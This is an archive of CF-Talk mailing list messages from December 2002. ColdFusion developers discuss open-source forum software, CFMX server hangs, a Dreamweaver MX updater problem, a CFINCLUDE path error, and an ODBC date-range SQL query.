>right
> > (especially on the database end).
> >
> > Mike D said a year ago he was going to re-write the old Allaire
>Forums
> > and eventually open source it. Which, stop me if I'm wrong, is what
>is
> > being used on houseoffusion.com? But I think I missed the part where
>he
> > open sourced it. Last I checked in June at cfFun, he said he was
>still
> > working on it.
> >
> > I for one would really like to work an open-source bbs project. I
>think
> > there is a pretty high demand for a sturdy open source board, which
>can
> > be customized at the will of the programmer. I've thrown around the
> > open-source idea with a bunch of people but found our selves
>intimidated
> > by the legal requirements.
> >
> > You know we have a really great community here, but I can't tell you
>of
> > ANY cold fusion open-source projects. Is open source cold fusion a
>pipe
> > dream? Would anyone else be interested in contributing?
> >
> > Adam Wayne Lehman
> > Web Systems Developer
> > Johns Hopkins Bloomberg School of Public Health
> > Distance Education Division
> >
> >
> > -Original Message-
> > From: Chris Montgomery [mailto:[EMAIL PROTECTED]]
> > Sent: Monday, December 23, 2002 10:58 PM
> > To: CF-Talk
> > Subject: Re: Cold Fusion forum
> >
> > Howdy Michael,
> >
> > Thursday, December 19, 2002, 7:54:13 PM, Michael T. Tangorre wrote:
> >
> > > I am attempting to to try some more advanced things with an idea I
> > > have. I am going to be building an online forum to tinker with..
>can
> > > anyone point me to some database examples? The code side is what I
>am
> > > going to be playing with but need a good architecture to use..
>anyone
> > > know of one I can download?
> >
> > I didn't see a reply to this yet, so I'll offer one to consider:
> > http://sourceforge.net/projects/fbopenforums/
> >
> > It uses Fusebox, but you might be able to get something useful out
>of
> > it.
> >
> > If you are wanting to explore how the database would be structured
>for a
> > forums app, you might want to research hierarchical database design,
> > parent-child relationships, or using recursion with your database.
> >
> > This page is an example of doing recursive joins for a forum:
> > http://www.4guysfromrolla.com/webtech/sqlguru/q120899-1.shtml
> > with a follow-up here:
> > http://www.4guysfromrolla.com/webtech/sqlguru/q121799-1.shtml
> >
> > Another post about threaded discussion forums database design:
> > http://www.sqlteam.com/item.asp?ItemID=1353
> > with a follow-up here:
> > http://www.sqlteam.com/item.asp?ItemID=1602
> >
> > Some good SQL sites to check out:
> > http://www.dbmsmag.com/index.shtml
> > http://www.codebits.com/ntm/
> > http://www.onlamp.com/pub/a/onlamp/2001/07/12/aboutSQL.html
> > http://www.sqlteam.com/Default.asp
> > http://www.4guysfromrolla.com/
> > http://www.intelligententerprise.com/info_centers/database/
> > http://www.databasejournal.com/
> > http://www.sqlmag.com/
> >
> > Hope that helps you somewhat.
> >
> > Happy Holidays!
> >
> > --
> > Chris Montgomerymonty @ airtightweb.com
> > Airtight Web Services   http://www.airtightweb.com
> > Web Development, Web Project Management, Software Sales
> > 210-490-3249/888-745-7603
> >
> >
> >
>
>
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Get the mailserver that powers this list at http://www.coolfusion.com

CFMX hangs periodically

[Blum, Jason (SAA)]

There has been a pretty serious discussion thread going on in the
ColdFusion Macromedia Online Forum since October: "CFMX hangs
periodically:"

http://webforums.macromedia.com/coldfusion/messageview.cfm?catid=143&thr
eadid=468954

I'm too new to this community to recognize names of cf-talk participants
in the macromedia forums, so I was curious to know whether anybody here
has been experiencing problems with CFMX.  Maybe I missed such an
exchange already.

But, I'll try to summarize the "CFMX hangs periodically" discussion
thread:

Everybody seems to be running CFMX with at least updater 1 on 2K with
SP3.
Most are using IIS 5.0.  A few people said the problem was IIS and that
the webserver that comes bundled with MX was great.  Somebody else said
they saw the same problems in MX on Linux.
Basically, jrun.exe just stops running occasionally.  Thread counts on
the jrun.exe climbs very high.  Handle count also climbs very high.
Most report no spiking in CPU or memory or anything except queued
requests.

There was some of the usual talk about properly locking Application
variables and vulnerability to race conditions.  But I know I, for one,
am not using ANY Application variables right now because I have stripped
down my server to running a single application to see if it continues to
lock up occasionally - it does.

Some have tried scheduling a java garbage collection routine and
restarting jrun.exe.  Others have reported no success with this
solution.

Some report a correlation with heavy load.  Others, like myself, see no
such correlation (as I am typing, my server just locked up again.)  I
can inflict 2000% plus load testing on my box with no impact on
performance.  But then I can go home for a few hours and it'll
invariably fail before bedtime.

Some are using SQL Server - others Oracle.

I see that Lee Fuller actually did bring this up in this cf-talk mailing
list and according to his post in the forum, solved the issue by going
back to ColdFusion 5.  -This after working closely with MM support.

I guess I am just wondering if that's it...  I am really reluctant to do
this because many of my applications are built on CFMX components...
But maybe abandoning MX is the only solution???  Funny thing is, all of
my apps ran just fine on this same configuration for almost two months.
Nothing has changed.  NOTHING!

Anyway, this struck me as a pretty serious issue that Macromedia has not
really been addressing - but it seemed to not get much play time on
cf-talk so I thought I'd ask whats up?

-j











~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm

Re: DWMX Updater issues

[Bob Haroche]

If you're working on a windows platform, email Matt Brown directly (sorry I
don't have his address). That was his instruction in the DW newsgroup for
many users who have the same issue. Apparently, he needs some info about
your system to help you get the updater installed.

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.

RESOLVED: Root template directory has not been specified

[Larry Juncker]

I got it all to work I think... Seems to be anyhow.

Larry Juncker
Senior Cold fusion Developer
Heartland Communications Group, Inc.
[EMAIL PROTECTED]
(515) 574-2122

CONFIDENTIALITY NOTICE
The information contained in this e-mail is intended only for the use of the
individual or entity to which it is addressed.  This e-mail may contain
information that is privileged, confidential and/or personal.  If the reader
of this message is not the intended recipient (or the employee or agent
responsible to deliver it to the intended recipient), you are hereby
notified that any dissemination, distribution, or copying of this
communication is prohibited.

If you have received this communication in error, please notify us at the
e-mail listed above.

-Original Message-
From: Richard Meredith-Hardy [mailto:[EMAIL PROTECTED]]
Sent: Monday, December 30, 2002 10:14 AM
To: CF-Talk
Subject: Re: Root template directory has not been specified


take out the leading / as in



Larry Juncker wrote:
>
> Here is line 17 :
> 
>
> and here is Application.DisplayMap in Application.cfm
>
> 
>
> Larry Juncker
> Senior Cold fusion Developer
> Heartland Communications Group, Inc.
> [EMAIL PROTECTED]
> (515) 574-2122
>
> CONFIDENTIALITY NOTICE
> The information contained in this e-mail is intended only for the use of
the
> individual or entity to which it is addressed.  This e-mail may contain
> information that is privileged, confidential and/or personal.  If the
reader
> of this message is not the intended recipient (or the employee or agent
> responsible to deliver it to the intended recipient), you are hereby
> notified that any dissemination, distribution, or copying of this
> communication is prohibited.
>
> If you have received this communication in error, please notify us at the
> e-mail listed above.
>
> -Original Message-
> From: Kola Oyedeji [mailto:[EMAIL PROTECTED]]
> Sent: Monday, December 30, 2002 8:50 AM
> To: CF-Talk
> Subject: RE: Root template directory has not been specified
>
> Can we see the code at line 17 in index.cfm?
>
> I'm not sure but I think you have an include with a missing base path
> e.g.
>
> 
>
> Kola
>
> >> -Original Message-
> >> From: Larry Juncker [mailto:[EMAIL PROTECTED]]
> >> Sent: 30 December 2002 14:34
> >> To: CF-Talk
> >> Subject: Root template directory has not been specified
> >>
> >> Root template directory has not been specified.
> >>
> >>
> >> The error occurred while processing an element with a general
> identifier
> >> of
> >> (CFINCLUDE), occupying document position (17:8) to (17:70) in the
> >> template
> >> file [MYWEBSERVER]\forms.townofcortlandt.com\Admin\index.cfm.
> >>
> >> Can anyone please tell me how to get rid of this error from my
> website?
> >>
> >> PLEASE AND THANK YOU!!
> >>
> >> Larry Juncker
> >> Senior Cold fusion Developer
> >> Heartland Communications Group, Inc.
> >> [EMAIL PROTECTED]
> >> (515) 574-2122
> >>
> >> CONFIDENTIALITY NOTICE
> >> The information contained in this e-mail is intended only for the use
> of
> >> the
> >> individual or entity to which it is addressed.  This e-mail may
> contain
> >> information that is privileged, confidential and/or personal.  If the
> >> reader
> >> of this message is not the intended recipient (or the employee or
> agent
> >> responsible to deliver it to the intended recipient), you are hereby
> >> notified that any dissemination, distribution, or copying of this
> >> communication is prohibited.
> >>
> >> If you have received this communication in error, please notify us at
> the
> >> e-mail listed above.
> >>
> >>
>
>

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.

Re: Root template directory has not been specified

[Richard Meredith-Hardy]

take out the leading / as in 



Larry Juncker wrote:
> 
> Here is line 17 :
> 
> 
> and here is Application.DisplayMap in Application.cfm
> 
> 
> 
> Larry Juncker
> Senior Cold fusion Developer
> Heartland Communications Group, Inc.
> [EMAIL PROTECTED]
> (515) 574-2122
> 
> CONFIDENTIALITY NOTICE
> The information contained in this e-mail is intended only for the use of the
> individual or entity to which it is addressed.  This e-mail may contain
> information that is privileged, confidential and/or personal.  If the reader
> of this message is not the intended recipient (or the employee or agent
> responsible to deliver it to the intended recipient), you are hereby
> notified that any dissemination, distribution, or copying of this
> communication is prohibited.
> 
> If you have received this communication in error, please notify us at the
> e-mail listed above.
> 
> -Original Message-
> From: Kola Oyedeji [mailto:[EMAIL PROTECTED]]
> Sent: Monday, December 30, 2002 8:50 AM
> To: CF-Talk
> Subject: RE: Root template directory has not been specified
> 
> Can we see the code at line 17 in index.cfm?
> 
> I'm not sure but I think you have an include with a missing base path
> e.g.
> 
> 
> 
> Kola
> 
> >> -Original Message-
> >> From: Larry Juncker [mailto:[EMAIL PROTECTED]]
> >> Sent: 30 December 2002 14:34
> >> To: CF-Talk
> >> Subject: Root template directory has not been specified
> >>
> >> Root template directory has not been specified.
> >>
> >>
> >> The error occurred while processing an element with a general
> identifier
> >> of
> >> (CFINCLUDE), occupying document position (17:8) to (17:70) in the
> >> template
> >> file [MYWEBSERVER]\forms.townofcortlandt.com\Admin\index.cfm.
> >>
> >> Can anyone please tell me how to get rid of this error from my
> website?
> >>
> >> PLEASE AND THANK YOU!!
> >>
> >> Larry Juncker
> >> Senior Cold fusion Developer
> >> Heartland Communications Group, Inc.
> >> [EMAIL PROTECTED]
> >> (515) 574-2122
> >>
> >> CONFIDENTIALITY NOTICE
> >> The information contained in this e-mail is intended only for the use
> of
> >> the
> >> individual or entity to which it is addressed.  This e-mail may
> contain
> >> information that is privileged, confidential and/or personal.  If the
> >> reader
> >> of this message is not the intended recipient (or the employee or
> agent
> >> responsible to deliver it to the intended recipient), you are hereby
> >> notified that any dissemination, distribution, or copying of this
> >> communication is prohibited.
> >>
> >> If you have received this communication in error, please notify us at
> the
> >> e-mail listed above.
> >>
> >>
> 
> 
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Get the mailserver that powers this list at http://www.coolfusion.com

RE: Old versions...

[Jim Davis]

I may have most/some of them.  They may not be trails however... I know
I have full versions of 2.0 and 3.0, but I'm not sure about the trails.
I should have 1.5 somewheres, but can't find it now...

Jim Davis

> -Original Message-
> From: Alex Hubner [mailto:[EMAIL PROTECTED]] 
> Sent: Monday, December 30, 2002 5:24 AM
> To: CF-Talk
> Subject: Old versions...
> 
> 
> Hello Friends,
> 
> Where I can find old trial versions of ColdFusion (or Cold 
> Fusion...) Server? In the Allaire FTP host I can only find 
> the 4.01 and higher. Does anybody knows a mirror or a place, 
> or even can send me (by e-mail) such trials? I'm 
> looking for versions prior to the 4.01. Thanks a lot!
> 
> Just for fun and nostalgie:
> 
http://web.archive.org/web/19961019024507/http://www.allaire.com/

Alex

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Get the mailserver that powers this list at http://www.coolfusion.com

DWMX Updater issues

[Candace Cottrell]

Am I the only person having serious issues with the DWMX updater? I have
followed all the technotes and release notes, but have still yet to get
it working. It is still saying that DW does not exist in that directory.
I went through what the technote said to do in this scenario with no
luck.
 
I emailed Macomedia support and they responded 3 days later telling me
to read the tech note.
 
Argh!

 
Candace K. Cottrell, Web Developer 
The Children's Medical Center 
One Children's Plaza 
Dayton, OH 45404 
937-641-4293 
http://www.childrensdayton.org
 
 
[EMAIL PROTECTED]

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm

RE: Couple of somewhat OT learning questions

[Jerry Johnson]

That is not a valid question for the CF-Talk group. It should be posted in 
CF-Community.

=)

Just kidding.

OT means Off-Topic, as a hint that the subject amtter is not really what this list is 
meant to be used for.

SOT means Slightly Off-Topic (I think). Much like Slightly Pregnant.

The on-topic police in this list try to keep a fairly high "signal-to-noise ratio", 
meaning that most of the current threads are about Cold Fusion.

This is considerably different than the CF-Community list, which seldom actually 
mentions Cold Fusion. Mostly about engagements and game consoles lately.

HTH
(Hope this Helps)
Jerry Johnson

>>> [EMAIL PROTECTED] 12/30/02 09:53AM >>>
I have been sitting here for 4 days trying to figure out what OT means



~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.

RE: ODBC Date Question

[Benjamin S. Rogers]

Just using IsDate() does not work very well. IsDate() will accept a lot
of dates that ODBC won't (usually typos such as 3 of 5 digit years). I
would also perform a range check in ColdFusion on any date submitted and
return an appropriate error to the user. To give you an example, for
every form field that accepts a date, I end up with at least 25 lines of
validation code and exception handling.

Benjamin S. Rogers
http://www.c4.net/
v.508.240.0051
f.508.240.0057

-Original Message-
From: Julia Green [mailto:[EMAIL PROTECTED]] 
Sent: Monday, December 30, 2002 9:47 AM
To: CF-Talk
Subject: Re: ODBC Date Question


How do you validate the input dates with isdate()?  Never used it
before...
Julia
 Richard Meredith-Hardy <[EMAIL PROTECTED]> wrote:A few notes:

- is 'File' a reserved word?

- I have to say a a European I HATE date formats like mm/dd/ or
dd/mm/ for the simple reason that there are too many ways to
misunderstand them - when I ask people to put a date in a single field I
ask them to use dd mmm  which is completely unambiguous and is
perfectly understood by createodbcdate() 

- are you sure the actual values of the dates in your new DB are what
you think they are after the transformation? 

- validate the input dates before the query with isdate()

Julia Green wrote:
> 
> This I am sure is a beginning question...so one of you experts can
help me...
> I have a client Gilway lighting, whose form, gilwaydb.cfm submits an
ODBC date
> 
> to an Access table whose dates I converted all to Date/Time(shot over
to SQL Server) in the format mm/dd/, the table is called tblfile4d
> Now the problem, my client wants me to do a form where you put a
Beginning and Ending Date,
> Beginning Date:

> 

> Ending Date:

> 

> 
> 
Type the dates in the following format: 10/13/2001. Be sure to type a
beginning and ending date.

> 
 [input] 

> and to find the files that go with these dates, but for instance, if I
enter 5/6/01 or
> 5/6/2001
> and 12/6/01, it returns the 02 dates, all between 5/6/2002 and
12/6/2002.
> So remember tblfile4d has date format for Clock for all the dates now.
> It is called gilsrch.cfm posts to gildate2.cfm with this relevant
code:
> 
> 
> SELECT count(t.File) as file3, t.Clock, g.File, t.File
> FROM tblfile4d t, gilway12 g
> WHERE Clock BETWEEN #CreateODBCDate(Form.Clock1)# AND
#CreateODBCDate(Form.Clock2)#
> AND t.File=g.File
> GROUP BY g.File, t.File, t.Clock
> ORDER BY file3 DESC
> 
> 
> 
> 
> SELECT count(File) AS file2
> FROM tblfile4d
> WHERE Clock BETWEEN #CreateODBCDate(Form.Clock1)# AND
#CreateODBCDate(Form.Clock2)#
> 
> 
> SELECT count(t.File) as file4
> FROM tblfile4d t, gilway12 g
> WHERE Clock BETWEEN #CreateODBCDate(Form.Clock1)# AND
#CreateODBCDate(Form.Clock2)#
> AND t.File=g.File
> 
> 
> Why is it doing this I can give you the links...
> http://www.cheshiregroup.com/gilway/gilwaydb.cfm
> http://www.cheshiregroup.com/gilway/gilsrch.cfm
> Can someone help me with this? Why does it return other years? Please
cc me at
> [EMAIL PROTECTED] if you can
> Julia Green
> 
> 
> 
> 
> 
> 
> 
> Julia Computer Consulting
> Web Design @ Reasonable Prices
> Email: [EMAIL PROTECTED]
> www.juliagreen.com
> Phone: 617-926-3413
> Cell: 617-596-6003
> Fax: 1-617-812-8148
> 


~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm

Re: Couple of somewhat OT learning questions

[Bruce Sorge]

Off Topic
- Original Message -
From: "Mike Miessen" <[EMAIL PROTECTED]>
To: "CF-Talk" <[EMAIL PROTECTED]>
Sent: Monday, December 30, 2002 8:53 AM
Subject: RE: Couple of somewhat OT learning questions


> I have been sitting here for 4 days trying to figure out what OT means
>
>
> 
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm